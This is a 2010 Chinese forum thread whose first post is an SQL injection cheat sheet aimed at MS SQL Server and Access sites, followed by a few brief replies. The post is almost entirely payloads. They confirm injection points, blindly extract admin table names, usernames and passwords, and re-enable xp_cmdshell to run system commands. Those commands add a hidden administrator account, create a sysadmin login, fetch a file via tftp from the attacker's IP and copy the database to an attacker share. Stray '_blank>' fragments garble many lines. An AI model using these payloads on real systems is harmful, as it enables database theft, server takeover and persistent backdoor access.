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楼层直达
不懂也不知道

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举报 只看楼主 使用道具 楼主   发表于: 2010-07-07 0
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1.判断有无注入点 ' ; and 1=1 and 1=2 2.猜表: 常见的表:admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存在admin这张表 3.猜帐 ...
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表: 常见的表:admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1= 1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank> _name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(Select System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造:
Select * FROM news Where id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobj

本帖de评分: 1 条评分 DB +7
心澄丶

ZxID:11314858

等级: 少将
  。。心澄.你要加油咯!

举报 只看该作者 沙发   发表于: 2010-07-07 0
什么东西啊


幼稚完。 

ZxID:12366491

等级: 贵宾

举报 只看该作者 板凳   发表于: 2010-07-10 0
很花阿..
风若晨曦

ZxID:8842179

等级: 元老
一念轮回,君千殇

举报 只看该作者 地板   发表于: 2010-07-10 0
谢谢分享。。。

给我一个机会,我还你一个奇迹

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